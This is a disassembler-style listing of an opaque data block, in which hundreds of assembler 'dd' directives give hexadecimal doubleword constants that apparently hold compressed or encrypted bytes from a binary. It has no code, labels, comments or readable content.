		dd 493B4C2Dh, 995152DBh, 68C1014Bh, 79C177CAh, 0E496017Ah
		dd 8E175474h, 0A135460Ch, 0EB8953C6h, 2B705FCDh, 0FE9AA84Ah
		dd 9A51EEC5h, 105DAF80h, 3B13121Ch, 5289FC2Dh, 2F7B155Ch
		dd 70047E25h, 17BAC9E9h, 40802502h, 0E2837976h,	7A405764h
		dd 0C695F74Dh, 0C6802FF3h, 0D4E427C4h, 0C44E28F4h, 287B17F4h
		dd 1FE09FEh, 1FE05096h,	43CF6CE9h, 3CC38722h, 572904CCh
		dd 61A29DBBh, 35E42F00h, 0CF449F31h, 0D98C6127h, 0C07B1605h
		dd 3551B9D5h, 31261413h, 5EF403D7h, 3F78CBB1h, 3422CB4Bh
		dd 5581412Bh, 8000A53Fh, 0E0BDBEF4h, 0B82D043Eh, 0A3C0B5D0h
		dd 0EF2FE9DDh, 576F2B1h, 0C4DE9AC5h, 0E300C7C6h, 0E13BA41Ah
		dd 6BCD9930h, 86FE7ABh,	0F620EF1Dh, 0B0001695h,	0AF62BC28h
		dd 0A9656451h, 0C2809740h
		dd 0F4D32884h, 8B7B4A8Dh, 0CE9C619Fh, 6A209E58h, 2E19DE51h
		dd 5672270Bh, 5B2F859Dh, 9A80C757h, 3FB26063h, 0B3A0E90Ch
		dd 4A685D3Eh, 0B98F8Ch,	6AB6570Bh, 6239F181h, 2FB841F4h
		dd 6805479Bh, 60213469h, 0C100F90Eh, 6CB802E2h,	9E150604h
		dd 0B0F0315Fh, 4B760BEAh, 1E844EB9h, 0EB8805CDh, 2DF1F408h
		dd 4C0ECD76h, 49854BAh,	0DEE2FCC5h, 6F2446E0h, 0E8B327D2h
		dd 0D668848Bh, 0CE68BE16h, 59640DEh, 0A61CB239h, 0E82DE121h
		dd 54BCE92Eh, 0E57DDE6h, 817D48BFh, 1171095Fh, 2A9914DFh
		dd 33D4CACFh, 0AB0636C6h, 0F9B6F6B1h, 1DF33C76h, 0A4C9E608h
		dd 1E1BDFA8h, 4A6CF4D0h, 65AD1B4Bh, 1827EE88h, 81D041E1h
		dd 0E032CD66h, 75CF6A97h, 0CB1E5CC3h, 5F430296h, 0C340478Fh
		dd 86254B85h, 482F521Ch, 503885C0h, 0C5002BB8h,	0B9202C74h
		dd 265C7696h, 0C32B1873h, 5EFC686Dh, 47C5218h, 0C88D0Bh
		dd 0F580DDF6h, 84D0B7FEh, 93ADEE27h, 0CDCCC30Bh, 4F86B140h
		dd 4C013379h, 1827E9E8h, 6E31B00Bh, 310CF8C1h, 6FE9C80Bh
		dd 0C2621BD3h, 4AD7D2C0h, 67BFE22Ch, 39770D0Fh,	2B805BC5h
		dd 2668A7h, 289F3507h, 0E9054589h, 0BF7465E2h, 53C4AB5Ah
		dd 51A8DDEEh, 0C95556h,	3A51472Dh, 608744C3h, 0F3564974h
		dd 8500D111h, 54580BF1h, 5CCE89A8h, 9D265059h, 0AA336F94h
		dd 0A0B52244h, 0E083C009h, 0DF7B151h, 0F188D834h, 0B08338E5h
		dd 5F6AE95Ah, 2095F5C7h, 84FF67Ah, 0EA60C5B2h, 4A5C78F9h
		dd 544C0BFh, 8E1C2E20h,	0C47D131Dh, 0B1B4E871h,	0F804807Ah
		dd 0F40D163Ah, 0B0DD7BC3h, 40311D40h, 0A576E9D9h, 0F667F33Fh
		dd 0D509AF4Fh, 205A5809h, 5B4EDA9Fh, 0F712D4B6h, 0B91904F1h
		dd 0F085174Fh, 40D904EAh, 5531AF69h, 8000155Ch,	6C527EAh
		dd 0C0A82834h, 0C306DE75h, 43045966h, 0D12CD0E1h, 5164665Ah
		dd 7A70C146h, 78401F39h, 5BFE3C54h, 4FCC8208h, 0F7462659h
		dd 20FC98A4h, 5BB7CC9Bh, 0D829C29Ch, 27E21455h,	0F5487EE9h
		dd 9B0518F1h, 0CF89EC99h, 95A59616h, 0F02570BCh, 0EBC0F581h
		dd 7069E04h, 7EBD73D2h,	0FB2AC45Fh, 65F03D3h, 9A076C0Eh
		dd 0E3095E6Bh, 0E45E440Fh, 4BCF94A1h, 2194CE3Ch, 4866E962h
		dd 48F75BA9h, 3C0101D6h, 1748D37h, 2F8B2FDEh, 79F6C601h
		dd 7F01D305h, 52853B21h, 0E5DAD16Bh, 0F0961643h, 30565A1Ah
		dd 425CC5C5h, 98CBECBDh, 418BE9C1h, 97F11BCEh, 3D2BC88h
		dd 0E386DCF6h, 22E617CBh, 68535500h, 7F803BCCh,	0C3830B5Bh
		dd 3E69E901h, 109D3756h, 0C45B9419h, 0ADB2F0D2h, 125F789Fh
		dd 0BE8C55E0h, 50F07300h, 264D11D9h, 1CFEDC1h, 0C2B789F5h
		dd 75C12A13h, 0AC04D09Eh, 0CD2913B3h, 75580004h, 804A5D05h
		dd 117FC169h, 2D866D5Eh, 0B4ED0912h, 8F57E0C8h,	0BC32073h
		dd 0FE4DB20Eh, 52FCEBh,	0DF317065h, 0E9F9215Bh,	641D435Eh
		dd 0A67A34Dh, 0C158F26Ah, 830664B8h, 76A37930h,	310B0343h
		dd 0C721E9C6h, 28E2AB30h, 982B4FD2h, 0E87A7098h, 2AF89F1Fh
		dd 58B0013Ah, 0FBC22F0Ah, 0B7128A0h, 51216359h,	819A87Fh
		dd 66EB5F12h, 9AB79427h, 621DF1F8h, 71560767h, 55E60B4Fh
		dd 8B7F36ABh, 175E132Eh, 4B5DE943h, 782564FBh, 0FA84531Fh
		dd 22607D40h, 5029CBBEh, 0B0F0C6F8h, 851D5F2Eh,	0A7CBAE88h
		dd 11177962h, 979416DDh, 5A50CE7Ah, 125DCD41h, 18E84EA2h
		dd 0B4C46F9Dh, 41B86AB7h, 133E3545h, 0FCE5C419h, 4A57E6F6h
		dd 0FCBA128Eh, 0D72FA26Dh, 167DF109h, 0CB3AB4D8h, 4A7B96D7h
		dd 904F952h, 204419EBh,	6BA0F361h, 1EB17C48h, 0C40569C7h
		dd 83DF0179h, 33E9E2FBh, 8B28823Bh, 0DD42374Dh,	688859E3h
		dd 96B52E5Fh, 0DA609F73h, 7B5E44E9h, 0FEAD9891h, 2F0FBB00h
		dd 54C119E0h, 6EE63033h, 186C9487h, 8443E470h, 1974706h
		dd 0AC17EFC1h, 93989077h, 0F6C435C1h, 11E2D217h, 9C5066D7h
		dd 0A37D880Fh, 5219B401h, 0A17BAAB2h, 2491F5F5h, 0E3BD2119h
		dd 552E98C1h, 8460B790h, 0C0355E52h, 0D4EA808Ah, 0ABC81716h
		dd 5AC9225Eh, 2FBD1E68h, 0B6C92159h, 712B6B56h,	0CDB18417h
		dd 2063E455h, 174045BDh, 80A356F2h, 777212AAh, 17C60C48h
		dd 19BC8DF0h, 176B110h,	0F75FFB87h, 6A3843D3h, 9FBC7738h
		dd 1401B1CFh, 0E5962152h, 0F326B88h, 27AD76B2h,	0A91505DBh
		dd 0E32800CFh, 0EB805866h, 0B6521D37h, 53C68EBEh, 0C55AF307h
		dd 286CD2C3h, 0D8316275h, 41C89F84h, 7AA8C52Dh,	631D6856h
		dd 5ECB097Dh, 37AB8251h, 0D30105EBh, 1FBC81A5h,	1B65284Ch
		dd 665825C3h, 171DB086h, 0BAA52D4Fh, 0E3C16214h, 9C6F8FD2h
		dd 50015292h, 0F3277768h, 0F03A5815h, 11128278h, 0DE1B63EFh
		dd 0BE36008Ah, 2C7D5D69h, 400EF681h, 0C018F325h, 5139ACEh
		dd 8BEDA030h, 0DD6417E7h, 0E973B421h, 800E985Ah, 0F6D1C9ADh
		dd 5CBB811Dh, 400EC062h, 0A6E381D2h, 70545731h,	0B76BAF23h
		dd 0C89F7BFCh, 0B815DB2h, 9253F5EEh, 191C8654h,	0C9867C2Fh
		dd 0E98A7659h, 6AB0ED2Ah, 0F16C3593h, 2E68C2D0h, 64791BDDh
		dd 580E850h, 1C530ACDh,	28F7BA08h, 78585DC6h, 1201B65Bh
		dd 54A3EEB2h, 3C645A1Eh, 5485BCD8h, 84F437F7h, 7043EEC0h
		dd 81084CF2h, 997F0102h, 16C53017h, 57C327C1h, 0C53F865Eh
		dd 1365C0ADh, 3FEB875Ah, 0D1AF1875h, 2B01A41h, 0E2EA7F2Dh
		dd 12525E60h, 0E914C80Bh, 177D015h, 0CE28F405h,	83D80118h
		dd 491C8324h, 77F80061h, 0E9798734h, 0E2B2A2E3h, 7C4424DEh
		dd 48017B5Fh, 0D816C835h, 211380E7h, 0FEA60BBh,	0C13ED166h
		dd 0F33913EFh, 0ED807F34h, 9783F95Fh, 205F8642h, 66464B3Bh
		dd 32949D61h, 5DE82112h, 4AAB73A4h, 287CD201h, 3A400754h
		dd 0B0217068h, 0F5512571h, 65ECAB66h, 4AB35380h, 39E1E894h
		dd 0CA808CF6h, 1C380626h, 0D203E2C0h, 702704EAh, 0CBAEA81Ch
		dd 2D497C3Eh, 0E92C8F94h, 288BC30Bh, 0A65E04F8h, 57F90412h
		dd 0F680063h, 0F44DCC4Eh, 0F3644AF6h, 6D755F95h, 18EC29AFh
		dd 0D57F68F2h, 8F620294h, 706677DBh, 6C506CB0h,	956E41h
		dd 22FCBBC8h, 0BF54028Ah, 0AEA1E4E8h, 0CF2025FCh, 2C07E00Bh
		dd 0AACAE403h, 64B87144h, 815D94BFh, 544F52FDh,	0D2C5AB46h
		dd 435E2E90h, 7E324C1h,	9A370058h, 0DE31C54Bh, 0FA53E912h
		dd 5F05F88Ch, 45247797h, 0A899839Fh, 484F48h, 64F02C4Bh
		dd 501E883h, 0D2B7BC2Dh, 0D55E8C55h, 4A1B1418h,	1207B50Ch
		dd 131F5A8h, 2447291Fh,	0D8AD2858h, 4FD4E90Dh, 0A7A8E90Ch
		dd 2568F17Ch, 0D7194C12h, 0E90386FFh, 0B00AB41Ch, 0E754D33Eh
		dd 1DC44E24h, 5CA1B6E8h, 0E8F22F66h, 85624013h,	0C824983Dh
		dd 9E921A90h, 6F8C797h,	0B06D8E9h, 0B8451E60h, 4CA97A3Dh
		dd 9D12DF57h, 0C97FCB98h, 59826977h, 68C2CE72h,	97B22FCCh
		dd 0E4952351h, 145827EDh, 0F8202DDAh, 0FB09F0C7h, 62C67455h
		dd 4CD71DA5h, 0E611D31Ch, 4EF304FEh, 3AEC4974h,	6FBD5501h
		dd 6834B97Ah, 89EC5AE1h, 89D60A41h, 0BB828218h,	0BCC608DCh
		dd 27C2A727h, 719D1DDAh, 0B975EB65h, 7E51C377h,	100E4C2h
		dd 0ADBE56FAh, 5C2C4272h, 470900F0h, 6E685820h,	0A8435262h
		dd 6DD80BE2h, 5F000658h, 2CAA9716h, 0FFAD8Eh, 91716B68h
		dd 0ADB2B54Ch, 0D23D84B2h, 1ED361ECh, 0C1ECC985h, 30BFC318h
		dd 413D1F03h, 0A2224BBEh, 0E561DFA1h, 0D4D9A79Ch, 0A0258850h
		dd 4B466C27h, 0B4EDEC89h
		dd 0FA49DD84h, 0CAE95C5Dh, 0D342E21Ch, 0FB285047h, 5B26700Bh
		dd 8E1DA30h, 0F167E907h, 42685200h, 486D7105h, 0B174155Ah
		dd 0ADD293B3h, 609316A8h, 9D5B3F88h, 310825FBh,	0AB80411h
		dd 0A56BC710h, 0FE9A527Bh, 0CD39562h, 0D68A6A52h, 0AD58978Fh
		dd 0FBE22FC8h, 0BD400B43h, 8B426AD4h, 975FE61Fh, 0F149F644h
		dd 0EB830449h, 0EEC88702h, 0FC358192h, 310BFA59h, 7941AF68h
		dd 0A1EAC65h, 960AD7h, 2D0C549Fh, 7BB0C609h, 0FBBAE40h
		dd 28D96D51h, 0AA6F7444h, 0F13A4545h, 25DDA1ECh, 3159E681h
		dd 0A3D1C9CAh, 589D508h, 61BC5EE6h, 260B3F68h, 735B19DFh
		dd 176C922Dh, 6810604Fh, 23DA2FF6h, 766E7748h, 0AE46A2F7h
		dd 815EF325h, 0DD79E192h, 72D18D30h, 81014C78h,	0B76A7D04h
		dd 5940AB2Eh, 583561C9h, 0C5E9120Fh, 900637E5h,	5068C8BFh
		dd 5A676C62h, 0AF5305BAh, 444B658Bh, 1472ABC1h,	10A5485Ah
		dd 0BB058B1Dh, 81E65BE4h, 7AF83E9h, 3380D58Bh, 97662CEAh
		dd 3259127Bh, 0A5FD4F28h, 91EE494Fh, 0D99D1450h, 138364F2h
		dd 9002ABEh, 5513BC68h,	22547B6h, 0CB33C576h, 880398DDh
		dd 648A37E1h, 8D76694Ch, 0EDAFE824h, 27582AD2h,	61D38F36h
		dd 3A0BBF82h, 0EF858018h, 9C378D7h, 9F65E96Dh, 16F80F16h
		dd 0F2B7A45Eh, 90FD1864h, 2807B7B1h, 412FF779h,	0C0CC6888h
		dd 3EF2E40Eh, 2E9BF101h, 95C81BDBh, 135EFD6Eh, 66297B8h
		dd 0B7F84A04h, 6C5B8E90h, 6293B5F2h, 524A02AEh,	0E7326FC0h
		dd 1D665780h, 136980BFh, 9D46FB4Fh, 0EDBB60EFh,	0A6709C3Bh
		dd 8AB9B64Fh, 0B2AE8785h, 714BDFA7h, 4FD9646Bh,	8B97AC55h
		dd 0D30B7F31h, 0C4C20CE1h, 7D5B0442h, 814EED4h,	28A07094h
		dd 6BD67F12h, 23107DB8h, 0F05C27B1h, 23719FFAh,	9A9484E9h
		dd 254DCAEAh, 5CC109FEh, 0C159A98Fh, 49F438E9h,	237BF99Ch
		dd 61569F44h, 0A431E6A4h, 0AEEB5D8Dh, 19A11458h, 0C1B63C17h
		dd 2F106956h, 0C795383Eh, 4301B1B0h, 681EEF05h,	758B03A3h
		dd 6930719Fh, 369D93B6h, 0C9681330h, 0A583EC28h, 6856C941h
		dd 5D9216F5h, 6AABA164h, 0E9C2F5E3h, 4E56ED8Dh,	4B5F0264h
		dd 4B7388D5h, 268A5E2Fh, 0A7512604h, 38479A5Ch,	1ED1DD4h
		dd 1B17E908h, 3C465C27h, 0F0D1F696h, 6823FC9h, 3F94808Fh
		dd 8562E901h, 11D5D531h, 9DF8759h, 0CB56D7F8h, 7771D202h
		dd 0C8FA5F05h, 0A54EB0B6h, 70C8654h, 4AEE5E4Eh,	12BE28D4h
		dd 3F60FFD2h, 0B3F20B9h, 0A3E959E7h, 0E0A8B856h, 0B22DBC18h
		dd 247AC172h, 23F3F12h,	256A2417h, 46FD0C70h, 14821C08h
		dd 7E491259h, 0AA0D6D77h, 916D760h, 49FC5DEBh, 232A02D3h
		dd 260BE95h, 0B580A2C1h, 0C5801C76h, 0F8EDC320h, 0FAF9EB08h
		dd 96822265h, 5AACB065h, 28E9F754h, 0E17E56Eh, 3A3E184Ah
		dd 7AF7E1C1h, 0E93A9DF2h, 0C837B4D7h, 0ABC6C305h, 515B2451h
		dd 0FC0F1712h, 61818E86h, 76915C2Ah, 5A2D817Bh,	3F88E5A1h
		dd 0E7AAAD1h, 9EC6D981h, 7B247539h, 0FF84DA1h, 0BA6EC0C0h
		dd 0C809FBC3h, 1A90D5FAh, 58753C66h, 0A560B58Bh, 0C2955591h
		dd 38C6DDC2h, 93899694h, 6B1ED619h, 1E1B9057h, 0B968C05Dh
		dd 119C416Fh, 3E19F8C0h, 0A0490387h, 255DE89h, 0CB291DC6h
		dd 96F494E9h, 0D478C089h, 7264AD8Dh, 19085527h,	92740A3Dh
		dd 0A8D4002Dh, 0BB5337ABh, 0D250743Eh, 0DE12EB93h, 3505D548h
		dd 72FB13CEh, 475FF166h, 21E9843Eh, 74FA964h, 93678A6h
		dd 139486Ch, 50539BA4h,	0D422EE68h, 2500584Fh, 2AC76A2Fh
		dd 27DE0205h, 0FA5EF5BCh, 0A0D3010Eh, 29595B0Bh, 92304D72h
		dd 829D6185h, 7EC7A866h, 0D1638009h, 0AD4F8827h, 4276BA01h
		dd 20201D49h, 17BB60C9h, 3A320FCDh, 0DCA54A4Eh,	9820FACCh
		dd 0D1011376h, 0A54EBD5Ah, 5BD166C9h, 805AA007h, 7BF440F5h
		dd 6AE79E54h, 0D03F743Eh, 0DD26E8Dh, 0D359B90Bh, 0B25200FCh
		dd 99E28082h, 0FFB75317h, 0C6477FCh, 0C00FC2CDh, 0D2BEAD04h
		dd 6BCBECF3h, 0E945FABAh, 5A087CA5h, 50218661h,	5BA2689Eh
		dd 50756CB7h, 4CCE1702h, 4800CD59h, 5E05314Ch, 389FF729h
		dd 0B367559Bh, 20BC21CBh, 6172948Ch, 7315FE68h,	379A5BB5h
		dd 0D5E2E909h, 1A88FE5Ch, 52933D89h, 0A5EE565Ah, 7F823F9Dh
		dd 2088CE5Dh, 609D82AFh, 58FC70C8h, 9F51035Ah, 96420804h
		dd 0DD9BB3E9h, 2F37992Ah, 0F7420F53h, 7E07C0F9h, 3B399712h
		dd 0DE9BA505h, 52F382D1h, 3560884Eh, 5D09A1C5h,	74015343h
		dd 4808205Fh, 0C525445Bh, 940A9CD3h, 0A50D5F80h, 0F651D013h
		dd 5203857Ah, 44FDE3EAh, 88250928h, 0E5076419h,	14A2037Ch
		dd 0A85B6C2Dh, 5F020B0Ch, 516BC668h, 6A078838h,	922FA27h
		dd 0F82158C7h, 0C1042716h, 0C8310EE8h, 971818BDh, 0F2C6AD91h
		dd 6EA15712h, 330994BCh, 56FE1223h, 0A689F1C9h,	1DFD1064h
		dd 0D0D3E7D1h, 868A580h, 0D751BD4Ch, 2E8EC54Bh,	0BBD388D0h
		dd 20355D00h, 0A066DC73h, 4EAEE4C8h, 3A75F8E3h,	0D654B5Fh
		dd 27E67501h, 0E46E5946h, 5ED2257h, 80F683BBh, 6F58C69Ch
		dd 82C928E0h, 5344988Ah, 0C8B10051h, 8003E1C0h,	6C349C1h
		dd 7ACB889Fh, 81B34052h, 660AD4F0h, 2A575097h, 0A8591DA8h
		dd 44E296F8h, 7324FD22h, 0E9509B29h, 74D85FAAh,	5920C241h
		dd 0A7BD767Bh, 5E9F066Ah, 598F6238h, 702A5961h,	95085713h
		dd 0C38000DBh, 5BD830DAh, 0A4F338A0h, 9BDC69Dh,	62034137h
		dd 698B165Dh, 12871D36h, 0E9FEB1C7h, 75855565h,	0AB6CE4F5h
		dd 64AA13D7h, 0FC88FACAh, 2C584055h, 83E2F45Eh,	0D082E9C5h
		dd 3F86B954h, 551CCB00h, 0B12FA4BDh, 0F2F7A023h, 0BF830190h
		dd 9EE9CA89h, 60306ADBh, 1FF207B2h, 0C9C7018Ah,	0CB39A35Fh
		dd 10D3F622h, 0BF084E24h, 7F8307F8h, 9DD0A20h, 11F50901h
		dd 73C5E9E0h, 0A304D47Dh, 0D7041770h, 9ED7E314h, 3C2A8762h
		dd 10402B1h, 0F64B405Fh, 3404C7D8h, 0A8C50451h,	0E9210592h
		dd 0F544B53Bh, 0D9B05DEEh, 50D2A979h, 4C3CA9D9h, 6680D043h
		dd 48289869h, 7DD4C3BFh, 405EE06h, 4785F4A2h, 8003C409h
		dd 426B1C2Eh, 0C4E96D09h, 496F7AFAh, 9D5C3402h,	684BCC5Bh
		dd 0E017A024h, 4D945567h, 5D390EEEh, 0B08800B3h, 0E9D699ABh
		dd 9B959D7Dh, 0EB7F214h, 9AE9D30Fh, 676885A3h, 0B64FB8Dh
		dd 609ED9BBh, 0A04AB4F8h, 2E78A9F2h, 41477CFEh,	0F017085Ah
		dd 4690C889h, 0B19E8648h, 292974DEh, 0B6520204h, 0CE04D15Fh
		dd 0EDE6CC55h, 8E6FE925h, 570BA430h, 0EC331EFh,	163C7683h
		dd 51F2BF03h, 0F1253A58h, 9E1C418Bh, 13C6895h, 0A9054AC8h
		dd 68592547h, 8056D449h, 290DBF6h, 0D020F424h, 8E8C000h
		dd 4F885366h, 144EA8C7h, 85459ABBh, 35EF1345h, 8649B22Ch
		dd 2DA25A54h, 0FBD982DFh, 4B40208h, 0BC55BF68h,	0DF98C46Eh
		dd 20DCDBEh, 0E5B1F7B7h, 7EB1A57Ch, 89C26CDh, 0B6443623h
		dd 0C1B338C1h, 6B2ECC3Bh, 772CC7B6h, 0F80F861Ch, 0F53FAB5Bh
		dd 1A110B87h, 0E8D0AF42h, 3520AA7Ch, 43D99CA8h,	135DB289h
		dd 0BB8210E0h, 504AA4Ch, 0AB13F24Eh, 9D010783h,	71DED60Bh
		dd 2C0DAB4Bh, 0D518CC8Ah, 3BA56D17h, 0EB289AFCh, 9B14B708h
		dd 29BF07D6h, 6DCB3F69h, 0F255E417h, 0C3E71218h, 0E997FDBCh
		dd 295CF0D7h, 5F4898C3h, 0BAC30074h, 1228162Dh,	6F28102h
		dd 70156D5Fh, 0A8B04E30h, 0B6FEC5D7h, 9CF68D40h, 0F6A61FE4h
		dd 0C4D548C0h, 0AB0FBE96h
		dd 9390651Ch, 5C8163FCh, 7B1B9268h, 4BDAE88Ch, 21028D57h
		dd 0D876E8C2h, 25B84A02h, 54695C1Dh, 687C3727h,	0C8F9EE92h
		dd 0A8DC5A2Dh, 75C8E962h, 0DE015A48h, 0A6BA5203h, 75BD423h
		dd 851175DAh, 0F6E26053h, 6C248603h, 68082E51h,	2FB10589h
		dd 8DF08428h, 1827F8EBh, 16559131h, 0D22E0BB5h,	0C890A3BCh
		dd 58816D3Ch, 52043123h, 0BA28DAB2h, 17BE7E57h,	7637AE50h
		dd 13C9B893h, 0D26B1765h, 3A5791F6h, 3C504B4h, 0BCBD27FFh
		dd 0BE69A241h, 2D4AC12Dh, 8001FB3Ch, 0EAC086E2h, 28C2D807h
		dd 0AF5B19FCh, 30F54BA4h, 0ED0A26CDh, 0C580527Eh, 0E9FC3943h
		dd 0BFD0005Ah, 33E45301h, 26A4D29Dh, 1DE90DF9h,	2B1DFD47h
		dd 417F5F45h, 170B5EE7h, 50189D76h, 89561581h, 0B63A5FFDh
		dd 0B8A25BA2h, 5B548310h, 5A462AF4h, 9743BCFEh,	697A38AEh
		dd 0EFC035DEh, 0B7D014EAh, 2166CB31h, 0D2E96C01h, 91A33EA4h
		dd 0CE94502Fh, 721E444Eh, 7A2CE347h, 8490CD94h,	1475B1BFh
		dd 0EA4F65D8h, 0F573B427h, 68132CA0h, 958932D3h, 195A35F3h
		dd 7FCABBA1h, 81ACB44Bh, 92A80C4Bh, 66B69A1h, 7AD020C2h
		dd 5154502Dh, 147FC938h, 558690A1h, 19AF3DC6h, 0E9041773h
		dd 54BE627Ah, 9A097908h, 2FF2293Eh, 0BE5BDBF2h,	95C6CC28h
		dd 453067Ch, 0EC7FBE18h, 83C2BA60h, 590884EEh, 0E9713CBAh
		dd 3253882Bh, 91FDC592h, 7345924h, 8BCA3662h, 8DF285Fh
		dd 0FD6CB02Fh, 46912568h, 0BA9C6171h, 4ECF444Eh, 0EF8082B8h
		dd 1F117549h, 2D17064h,	975E01F2h, 0D23ADEE7h, 535B35C4h
		dd 5C2878Ch, 0A8E1DACh,	637F129h, 7C951C08h, 0AB0C340Fh
		dd 0C801BE1h, 642E5F4Eh, 31FB295Bh, 19172B4Eh, 0FA6A64h
		dd 0BC301FF5h, 0BA20E93Eh, 8F8B80D1h, 42930D4Bh, 10DCF529h
		dd 5E5AD508h, 5BCD24C0h, 0E2E90AAFh, 892C97C2h,	7E6F68B8h
		dd 0C853CB67h, 1E67C7BAh, 0D3264E6Fh, 5AFAE0EEh, 0F1BB5303h
		dd 0B7232248h, 0F7AED8D2h, 75FFA7C4h, 60B02F96h, 386C5E7Eh
		dd 54B60D2Dh, 2743FCAFh, 841202D1h, 8A5054h, 6C3301A5h
		dd 7272CE81h, 0E8084B55h, 2E01D324h, 16E334BFh,	0A1FBD0DBh
		dd 0A2044992h, 0AC419D56h, 267B9259h, 0B80414DFh, 0E8C794Dh
		dd 5C0BB1AEh, 401247E5h, 0E4E43368h, 286940B7h,	4C8CF84Ah
		dd 0B56A4A2Ch, 0F082D792h, 0EF4606D4h, 7EC0B7F1h, 51276B1Ah
		dd 0E90C983Fh, 56049D8Fh, 62B3AA57h, 0C23FFCD7h, 309A3E9h
		dd 2891F180h, 2F1476CAh, 0F22A8230h, 27A2EC86h,	0AD99E146h
		dd 7ACEE85Bh, 689E8899h, 0EEF3B18h, 0D61395C7h,	3944FBADh
		dd 201751B7h, 7E7DDBEAh, 90E8755Bh, 4E4E984Ah, 0E18596FBh
		dd 0C768E000h, 4B02663Eh, 0F507F45Dh, 5E059E01h, 55AFE948h
		dd 39685A50h, 8B87A544h, 0C760BBE9h, 8012F328h,	1CD7ABC3h
		dd 576EE0E2h, 27D42E27h, 6A4AA2E5h, 782554ECh, 0DCD5B9Bh
		dd 5B5594Ch, 0AC465783h, 588E009Fh, 0CA816EA7h,	0F67C2840h
		dd 5D88209Dh, 2AC2B90Ch, 4A4956FAh, 2C8D6808h, 94E24182h
		dd 0EE00A532h, 17D9707Ah, 6EC1C601h, 514A03C8h,	0F66D2330h
		dd 0BF3E486Eh, 491D5D04h, 8031C63Bh, 0B798F820h, 0CDFA3C43h
		dd 74D25C02h, 50E2885Eh, 6CB1AC16h, 769D9A3Eh, 0C8679E25h
		dd 90535F89h, 0FC235EA3h, 60257F96h, 25954C8Bh,	0F1F9FA6Dh
		dd 742D019Ch, 28E15B85h, 67F48858h, 0EAF62DE8h,	68978125h
		dd 303A49C2h, 8790665h,	315A6013h, 0E91C20EEh, 9897F922h
		dd 4C250C8Dh, 392488D5h, 9446AF61h, 0E2F03B5Eh,	0F781A861h
		dd 91251CD8h, 2D1CC022h, 10051FFCh, 0E91E819Fh,	0C82A0608h
		dd 52955E73h, 0E0C80955h, 32D5B3C5h, 0E41E4ABDh, 4CC708E2h
		dd 0D0276C1Bh, 58088168h, 72B3886Eh, 0B76F9B41h, 0F75CC221h
		dd 20A34EE9h, 0AF82CCCBh, 705BE2C0h, 7B1B2507h,	719608B7h
		dd 0B6BD122Bh, 0ADE1207h, 8CB27212h, 7E4929E0h,	46BCE41h
		dd 124FD24Dh, 0B3C0C501h, 0C02F2BDAh, 5EF3313Fh, 0CC6DD9BDh
		dd 0E809C107h, 0C002E918h, 0E0C62C73h, 0D9D3FBF8h, 413EDEC7h
		dd 0F38024EEh, 380B6E49h, 5A6CC1D5h, 3910B040h,	4C01F21Ah
		dd 5409FDC5h, 1702F04Dh, 0C1076541h, 9F87D26Ch,	600DE680h
		dd 0E031F58h, 9E679825h, 5DC5A846h, 3576029Fh, 61E4104h
		dd 72AFEDA8h, 365936D2h, 0B3BA4879h, 0FF44FA56h, 934DA209h
		dd 0FAB9B0A5h, 919293DFh, 68658F0h, 47F12FCEh, 3DD6000Ch
		dd 0F001B72Eh, 0BBBAA4E9h, 7988BF04h, 4AEF548Fh, 82CEEBFEh
		dd 0AF7D16ACh, 57526176h, 0AF14DA85h, 7A352204h, 0A8624AC3h
		dd 0A0AA0545h, 82BAF0D1h, 703D906h, 0CF5B3504h,	0BAB7DE7h
		dd 160081E6h, 314CDC3Fh, 84A56AB5h, 31EFA5DAh, 4EB6C19h
		dd 6219EFB0h, 7EE5BB1h,	7C12D7C0h, 0D124E82Ch, 0DA40711Ch
		dd 29BD5539h, 28652D75h, 76832F2Bh, 40274E92h, 0AD3A56BBh
		dd 0E5C10F23h, 0EEE61B6Dh, 8A78C6E9h, 80D5F60Bh, 882C1D03h
		dd 3341E882h, 0FE03618Bh, 3E09B9F4h, 2559E6E6h,	5FCB8CEDh
		dd 0C445D6F8h, 62297E25h, 58080097h, 0FC277BBAh, 0AA62FD26h
		dd 0D8BDE90Ah, 575A8927h, 514066D4h, 0F8060B5h,	0CDFEBEF5h
		dd 0D8D825BCh, 2F286CBDh, 0B3FE5EF0h, 2CE8D8C5h, 1FC1FE2Fh
		dd 3FDC612Fh, 662FD8CAh, 0FD24195Bh, 0F0E25D16h, 587FAB50h
		dd 0B5C59BBFh, 0FE93061Dh, 27519AC5h, 85C23A98h, 0CD14A8FFh
		dd 29324A03h, 0F89FF213h, 69D4951Dh, 465624ADh,	0D8308691h
		dd 94F1F098h, 283BF9B3h, 805B05DDh, 0DC1561C5h,	3EBC4B66h
		dd 483BE7B4h, 542327F6h, 970672C9h, 0A94D7F87h,	0D73117CEh
		dd 56C6AC22h, 0A5FC2553h, 266BFBD0h, 0FD4A46h, 53701D0Dh
		dd 692AE91Ah, 28CB82E3h, 80C1005Eh, 987C8832h, 7649A5Ch
		dd 9474A6BAh, 79F5A237h, 0C85615E9h, 0B37B58BEh, 51C84524h
		dd 1B4DD882h, 843946Bh,	5CC52FEDh, 47393382h, 997C5Eh
		dd 0A4054048h, 214E307Eh, 3113B7E8h, 0FCBF16DDh, 0D2417C52h
		dd 2DBB9844h, 124D698Ch, 61BFE89Ch, 40A6215h, 68579040h
		dd 589247D9h, 0E909EE5Ch, 397C6384h, 0A31736A6h, 1F7EC68Ch
		dd 4B25581Ah, 7A68B1B5h, 0B82011C0h, 796C9D69h,	9EA6E020h
		dd 70D6496Ch, 37C06841h, 308CD97Eh, 0C7B956CCh,	46027BACh
		dd 6608001h, 8ABD0D0Eh,	4702A43Bh, 0D54D4013h, 8DF0129h
		dd 0E6250BC6h, 49F0A0ADh, 20D5872h, 20F0D924h, 0C2887908h
		dd 6FFDE997h, 21D20DE9h, 809FD857h, 0D1C20D4Ah,	8CF24155h
		dd 9C6801FEh, 555263Fh,	52803A8Eh, 8FDA982h, 0A6A43BDDh
		dd 1CF34080h, 3D7BB339h, 59F85DB2h, 0DCEC5060h,	4D5A1D7Eh
		dd 0C613B589h, 835CBA58h, 826ABFC9h, 0F2ECE9F9h, 7788A28Bh
		dd 0FA07CB99h, 0E33AAA20h, 6291B840h, 5AD52F6Bh, 0F92F5154h
		dd 0C5E9E488h, 1ACEAA76h, 0C077985Bh, 0F9284B68h, 7A4F56C9h
		dd 0A4997879h, 0B72E5139h, 105C2FD1h, 0C0B1E912h, 0A5BF57CBh
		dd 3E18C975h, 637CEFC1h, 8B0382E4h, 2DD2737Ch, 0A872DC0h
		dd 7240882Dh, 2D409082h, 0A358D9D4h, 0A7392B9Eh, 2107B1EBh
